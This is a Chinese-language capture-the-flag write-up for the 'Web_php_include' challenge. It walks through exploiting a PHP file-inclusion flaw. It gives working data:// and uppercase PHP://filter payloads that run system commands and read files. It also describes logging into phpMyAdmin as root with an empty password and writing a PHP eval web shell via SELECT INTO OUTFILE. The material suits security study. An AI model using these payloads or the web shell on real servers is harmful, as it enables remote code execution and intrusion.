攻防世界-web-Web_php_include(文件包含與偽協議)


打開頁面是下面一段代碼

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

從代碼中得知,page參數中帶有php://的都會被替換成空。

strstr() 函數搜索字符串在另一字符串中是否存在,如果是,返回該字符串及剩余部分,否則返回 FALSE。(區分大小寫)。
str_replace() 函數以其他字符替換字符串中的一些字符(區分大小寫)。

方法一(data://偽協議執行命令利用)

既然過濾了php://的偽協議,我們可以使用其他協議,這里使用data://偽協議。

data://偽協議

條件:

  • allow_url_fopen:on
  • allow_url_include:on

作用:

  • 自php>=5.2.0起,可以使用data://數據流封裝器,以傳遞相應格式的數據。通常可以用來執行PHP代碼。

用法:

  • data://text/plain,xxx(數據)
  • data://text/plain;base64,xxxx(base64編碼后的數據)

1.1 使用data://text/plain,xxx(數據)

payload:

/?page=data://text/plain,<?php system("ls")?>

/?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?> 

1.2 使用data://text/plain;base64,xxxx(base64編碼后的數據)

首先,查看本目錄中是否有flag相關文件。

將 <?php system("ls")?> 先進行base64編碼再urlencode后,構造data://偽協議,payload如下

/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4%3D

發現本目錄中有3個文件,猜測其中fl4gisisish3r3.php為包含flag的文件。

然后,嘗試查看fl4gisisish3r3.php內容,得到flag。

將 <?php system("cat fl4gisisish3r3.php")?> 先進行base64編碼再urlencode后,構造data://偽協議,payload如下

/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik%2FPg%3D%3D

這里有一個坑,將以上payload復制到url中回車后,頁面上並沒有顯示出flag。F12查看元素可以看到注釋中的flag(如上圖所示)。或者直接抓包也可以在響應中查看到flag(如下圖所示)。

方法二(御劍+菜刀)

通過御劍掃描后台目錄,發現了phpmyadmin登錄地址

直接root登錄,密碼為空,登錄成功。

寫入一句話木馬

SELECT "<?php eval(@$_POST['muma']); ?>"
INTO OUTFILE '/tmp/test1.php'

菜刀連接就行了 ,flag www 下(竟然沒連上,不知道為啥。。。) 

方法三(php://偽協議、大小寫過濾)

由於strstr()函數和函數都是區分大小寫的,那么我們完全可以使用大寫的PHP://來繞過過濾。

如下圖,使用PHP://input執行命令失敗了,理論上不應該啊

下圖使用PHP://filter讀取文件倒是成功了。

/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

 

 關於PHP的各種偽協議,可以參考:https://segmentfault.com/a/1190000018991087

參考:https://www.cnblogs.com/xhds/p/12218471.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM